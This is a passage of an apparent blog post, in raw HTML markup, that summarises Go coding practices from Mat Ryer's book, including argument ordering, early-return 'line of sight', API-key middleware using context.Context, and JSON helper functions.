&lt;li>i.e., when you use &lt;code>flags.Duration&lt;/code> as a command-line flag, your command-line interface can take a flag like &lt;code>--interval 10m&lt;/code>, and the &lt;code>flags&lt;/code> package will natively parse it into a &lt;code>time.Duration&lt;/code> for you.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="separating-test-packages-from-production">Separating test packages from production&lt;/h3>
&lt;ul>
&lt;li>Writing tests in a separate package from your production code yields better tests.
&lt;ul>
&lt;li>e.g., write tests for package &lt;code>foo&lt;/code> in a package called &lt;code>foo_test&lt;/code> in the same directory.&lt;/li>
&lt;li>Normally, Go&amp;rsquo;s tools prohibit you from having multiple packages in the same folder, but they make an exception for tests.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The separate &lt;code>_test&lt;/code> package ensures that tests only access the production package&amp;rsquo;s public members.
&lt;ul>
&lt;li>This encourages the tests to verify client-facing behavior rather than internal implementation details.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="put-function-args-at-the-end-of-the-paramter-list">Put function args at the end of the paramter list&lt;/h3>
&lt;p>If your function takes function parameters, put them at the end of the parameter list. Otherwise, it&amp;rsquo;s difficult for readers to track which argument is associated with the inner function and which is for the outer function.&lt;/p>
&lt;h4 id="bad-argument-ordering">Bad argument ordering&lt;/h4>
&lt;p>Suppose that you have a function &lt;code>updateValue&lt;/code> that polls for changes to a value and updates the local copy periodically, so it needs to accept a &lt;code>SetValFn&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-golang" data-lang="golang">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">type&lt;/span> SetValFn &lt;span style="color:#6ab825;font-weight:bold">func&lt;/span>(key, value &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span>) &lt;span style="color:#6ab825;font-weight:bold">bool&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If the &lt;code>SetValFn&lt;/code> parameter is the first argument, everything will look fine in the function definition:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-golang" data-lang="golang">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">func&lt;/span> &lt;span style="color:#447fcf">updateValue&lt;/span>(setFn SetValFn, interval time.Duration) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">range&lt;/span> time.&lt;span style="color:#447fcf">NewTicker&lt;/span>(interval).C {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> value := &lt;span style="color:#447fcf">fetchValue&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#447fcf">setFn&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;somekey&amp;#34;&lt;/span>, value)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>But when it comes time to call &lt;code>updateValue&lt;/code>, the callsite will be hard to read:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-golang" data-lang="golang">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#447fcf">updateValue&lt;/span>(&lt;span style="color:#6ab825;font-weight:bold">func&lt;/span>(key, value &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span>) &lt;span style="color:#6ab825;font-weight:bold">bool&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err := DB.&lt;span style="color:#447fcf">SetKey&lt;/span>(key, value); err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">false&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">true&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}, &lt;span style="color:#3677a9">5&lt;/span>*time.Minute) &lt;span style="color:#999;font-style:italic">// Which function call is this for?&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The subtlety is that &lt;code>5*time.Minute&lt;/code> is an argument to &lt;code>updateValue&lt;/code> but it occurs after the whole inline function defintion of the &lt;code>SetValFn&lt;/code>, so it&amp;rsquo;s hard to notice the connection to &lt;code>updateValue&lt;/code>.&lt;/p>
&lt;h4 id="better-argument-ordering">Better argument ordering&lt;/h4>
&lt;p>A better rewrite of the example above is to just make sure the function argument is last in the list:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-golang" data-lang="golang">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// Reorder arguments so that SetValFn is last&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">func&lt;/span> &lt;span style="color:#447fcf">updateValue&lt;/span>(interval time.Duration, setFn SetValFn) {
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>That way, at the callsite, it&amp;rsquo;s more obvious that both arguments are for &lt;code>updateValue&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-golang" data-lang="golang">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#447fcf">updateValue&lt;/span>(&lt;span style="color:#3677a9">5&lt;/span>*time.Minute, &lt;span style="color:#6ab825;font-weight:bold">func&lt;/span>(key, value &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span>) &lt;span style="color:#6ab825;font-weight:bold">bool&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err := DB.&lt;span style="color:#447fcf">SetKey&lt;/span>(key, value); err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">false&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">true&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>})
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="prioritize-line-of-sight-in-code">Prioritize line of sight in code&lt;/h3>
&lt;p>The book touches on the idea of &amp;ldquo;line of sight,&amp;rdquo; but I think Ryer explains the concept better &lt;a href="https://medium.com/@matryer/line-of-sight-in-code-186dd7cdea88">on his blog&lt;/a>.&lt;/p>
&lt;p>Code becomes hard to read if there&amp;rsquo;s deep nesting of context and conditionals, and it&amp;rsquo;s difficult to maintain context when branches of a conditional are far apart. Ryer advocates structuring code so that logic stays near the left edge of the screen.&lt;/p>
&lt;h4 id="poor-line-of-sight">Poor line of sight&lt;/h4>
&lt;p>When there&amp;rsquo;s poor line of sight, logic is deeply nested and conditional blocks are large:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-golang" data-lang="golang">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> something.&lt;span style="color:#447fcf">OK&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> something.&lt;span style="color:#447fcf">Lock&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">defer&lt;/span> something.&lt;span style="color:#447fcf">Unlock&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> err := something.&lt;span style="color:#447fcf">Do&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err == &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> stop := &lt;span style="color:#447fcf">StartTimer&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">defer&lt;/span> &lt;span style="color:#447fcf">stop&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> log.&lt;span style="color:#447fcf">Println&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;working...&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#447fcf">doWork&lt;/span>(something)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &amp;lt;-something.&lt;span style="color:#447fcf">Done&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> log.&lt;span style="color:#447fcf">Println&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;finished&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#6ab825;font-weight:bold">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> err
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>} &lt;span style="color:#6ab825;font-weight:bold">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> errors.&lt;span style="color:#447fcf">New&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;something not ok&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="good-line-of-sight">Good line of sight&lt;/h4>
&lt;p>To improve line of sight, you can invert logic of conditionals to exit early on error and then keep the rest of the logic outside of a conditional:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-golang" data-lang="golang">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> !something.&lt;span style="color:#447fcf">OK&lt;/span>() { &lt;span style="color:#999;font-style:italic">// flipped&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> errors.&lt;span style="color:#447fcf">New&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;something not ok&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>something.&lt;span style="color:#447fcf">Lock&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">defer&lt;/span> something.&lt;span style="color:#447fcf">Unlock&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>err := something.&lt;span style="color:#447fcf">Do&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> { &lt;span style="color:#999;font-style:italic">// flipped&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> err
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>stop := &lt;span style="color:#447fcf">StartTimer&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">defer&lt;/span> &lt;span style="color:#447fcf">stop&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>log.&lt;span style="color:#447fcf">Println&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;working...&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#447fcf">doWork&lt;/span>(something)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&amp;lt;-something.&lt;span style="color:#447fcf">Done&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>log.&lt;span style="color:#447fcf">Println&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;finished&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="using-context-in-http-handlers">Using context in HTTP handlers&lt;/h3>
&lt;p>I&amp;rsquo;ve been doing hobby Go web programming for five years, and I never understood the point of &lt;a href="https://pkg.go.dev/context">&lt;code>context.Context&lt;/code>&lt;/a> in HTTP handlers until I read this book. &lt;a href="https://github.com/matryer/goblueprints/blob/aae50b4b30fa6dfd73e3c411b3bfe1972294be61/chapter6/api/main.go">Chapter 6&lt;/a> provides a good explanation, but I&amp;rsquo;ll try to summarize here.&lt;/p>
&lt;p>Suppose your web app requires users to supply an API key with every HTTP request. It can be a header or a URL query parameter or a cookie, but for simplicity, let&amp;rsquo;s just say it&amp;rsquo;s a query parameter. You expect users to call your API with a key like &lt;code>/foo?key=abc123&lt;/code>. And you want to protect all of your endpoints by ensuring that requests have a correct API key.&lt;/p>
&lt;p>To accomplish this, you can create an HTTP middleware function. Middleware functions act in a chain, so many middleware functions can process the same HTTP request in series. Middleware functions pass along data to subsequent HTTP handlers by using &lt;code>context.Context&lt;/code>.&lt;/p>
&lt;p>To enforce an API key, we first need to create a key for storing the API key in the &lt;code>Context&lt;/code> object:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-golang" data-lang="golang">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">type&lt;/span> contextKey &lt;span style="color:#6ab825;font-weight:bold">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> name &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">var&lt;/span> contextKeyAPIKey = &amp;amp;contextKey{&lt;span style="color:#ed9d13">&amp;#34;api-key&amp;#34;&lt;/span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;del>For reasons I still can&amp;rsquo;t totally grok, the key needs to be a struct containing a string rather than a simple string.&lt;/del>&lt;/p>
&lt;p>&lt;strong>Update (2023-01-02)&lt;/strong>: I was confused at first why they &lt;code>contextKey&lt;/code> is a struct containing a string rather than just a string. In the book, Ryer explains that this decision prevents collisions with other keys that have the same value, but I didn&amp;rsquo;t understand why the developer wouldn&amp;rsquo;t just avoid re-using the same key for different purposes. Matthew Riley &lt;a href="https://twitter.com/mdriley25519/status/1609988055989116928">clarified this behavior&lt;/a> for me and helped me realize that the local type prevents collisions across packages, whereas a simple string wouldn&amp;rsquo;t.&lt;/p>
&lt;p>If you used a context key like &lt;code>const contextKeyToken := &amp;quot;token&amp;quot;&lt;/code> and another package processed the same request and also used the key &lt;code>&amp;quot;token&amp;quot;&lt;/code>, then you&amp;rsquo;d scribble over each other&amp;rsquo;s context values. By defining a custom type local to your package, you&amp;rsquo;re guaranteed that &lt;code>Context&lt;/code> won&amp;rsquo;t evaluate tokens from any other package as equal to yours because they&amp;rsquo;ll have different types.&lt;/p>
&lt;p>Now that you&amp;rsquo;ve defined your context key, create a middleware function like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-golang" data-lang="golang">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">func&lt;/span> &lt;span style="color:#447fcf">withAPIKey&lt;/span>(fn http.HandlerFunc) http.HandlerFunc {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> &lt;span style="color:#6ab825;font-weight:bold">func&lt;/span>(w http.ResponseWriter, r *http.Request) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> key := r.URL.&lt;span style="color:#447fcf">Query&lt;/span>().&lt;span style="color:#447fcf">Get&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;key&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> key != &lt;span style="color:#ed9d13">&amp;#34;abc123&amp;#34;&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> http.&lt;span style="color:#447fcf">Error&lt;/span>(w, &lt;span style="color:#ed9d13">&amp;#34;Invalid API key&amp;#34;&lt;/span>, http.StatusUnauthorized)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// Add the API key to the request context.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ctx := context.&lt;span style="color:#447fcf">WithValue&lt;/span>(r.&lt;span style="color:#447fcf">Context&lt;/span>(), contextKeyAPIKey, key)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#447fcf">fn&lt;/span>(w, r.&lt;span style="color:#447fcf">WithContext&lt;/span>(ctx))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>When defining routes, wrap the request handler with the &lt;code>withAPIKey&lt;/code> middleware:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-golang" data-lang="golang">&lt;span style="display:flex;">&lt;span>mux := http.&lt;span style="color:#447fcf">NewServeMux&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>mux.&lt;span style="color:#447fcf">HandleFunc&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;/foo&amp;#34;&lt;/span>, &lt;span style="color:#447fcf">withAPIKey&lt;/span>(s.handleFoo))
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The &lt;code>withAPIKey&lt;/code> middleware guarantees that the API key in the request is valid and present. If any request handlers downstream of &lt;code>withAPIKey&lt;/code> need to access the API key, they can call this helper function:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-golang" data-lang="golang">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">func&lt;/span> &lt;span style="color:#447fcf">APIKey&lt;/span>(ctx context.Context) &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> k := ctx.&lt;span style="color:#447fcf">Value&lt;/span>(contextKeyAPIKey)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> k == &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">panic&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;no API key in request&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> key, ok := k.(&lt;span style="color:#6ab825;font-weight:bold">string&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> !ok {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#24909d">panic&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;API key in request is not a string&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> key
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The &lt;code>handleFoo&lt;/code> handler sits downstream of the &lt;code>withAPIKey&lt;/code> middleware, so it can access the API key from the request context:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-golang" data-lang="golang">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">func&lt;/span> (s *Server) &lt;span style="color:#447fcf">handleFoo&lt;/span>(w http.ResponseWriter, r *http.Request) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> log.&lt;span style="color:#447fcf">Printf&lt;/span>(&lt;span style="color:#ed9d13">&amp;#34;handling /foo, API key=%v&amp;#34;&lt;/span>, &lt;span style="color:#447fcf">APIKey&lt;/span>(r.&lt;span style="color:#447fcf">Context&lt;/span>()))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="http-helper-functions">HTTP helper functions&lt;/h3>
&lt;h4 id="mat-ryers-http-encoding-helper-pattern">Mat Ryer&amp;rsquo;s HTTP encoding helper pattern&lt;/h4>
&lt;p>Ryer advocates abstracting away the encoding format so that HTTP handlers are agnostic to the exchange format. That way, if your interface speaks JSON, you can change it to &lt;a href="https://developers.google.com/protocol-buffers/">protobuf&lt;/a> and only have to change one file.&lt;/p>
&lt;p>Ryer uses the helper functions &lt;code>decode&lt;/code> and &lt;code>respond&lt;/code> to hide the encoding details so that your route handlers look like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-golang" data-lang="golang">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">func&lt;/span> &lt;span style="color:#447fcf">handleFooPost&lt;/span>(w http.ResponseWriter, r *http.Request) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">var&lt;/span> payload &lt;span style="color:#6ab825;font-weight:bold">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Username &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span> &lt;span style="color:#ed9d13">`json:&amp;#34;username&amp;#34;`&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> DisplayName &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span> &lt;span style="color:#ed9d13">`json:&amp;#34;displayName&amp;#34;`&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err := &lt;span style="color:#447fcf">decode&lt;/span>(r, &amp;amp;payload); err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#447fcf">respondErr&lt;/span>(ctx, w, r, err, http.StatusBadRequest)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#999;font-style:italic">// Do something with the request.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> response := &lt;span style="color:#6ab825;font-weight:bold">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ID &lt;span style="color:#6ab825;font-weight:bold">string&lt;/span> &lt;span style="color:#ed9d13">`json:&amp;#34;id&amp;#34;`&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ID: &lt;span style="color:#ed9d13">&amp;#34;1234&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#447fcf">respond&lt;/span>(ctx, w, r, response, http.StatusOK)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And then &lt;code>decode&lt;/code> and &lt;code>respond&lt;/code> handle the JSON deserialization and serialization, respectively:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-golang" data-lang="golang">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// decode parses JSON from an HTTP request body.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">func&lt;/span> &lt;span style="color:#447fcf">decode&lt;/span>(r *http.Request, v &lt;span style="color:#6ab825;font-weight:bold">interface&lt;/span>{}) &lt;span style="color:#6ab825;font-weight:bold">error&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> err := json.&lt;span style="color:#447fcf">NewDecoder&lt;/span>(r.Body).&lt;span style="color:#447fcf">Decode&lt;/span>(v)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> err
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> valid, ok := v.(&lt;span style="color:#6ab825;font-weight:bold">interface&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#447fcf">OK&lt;/span>() &lt;span style="color:#6ab825;font-weight:bold">error&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }); ok {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> err = valid.&lt;span style="color:#447fcf">OK&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">if&lt;/span> err != &lt;span style="color:#6ab825;font-weight:bold">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6ab825;font-weight:bold">return&lt;/span> err
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
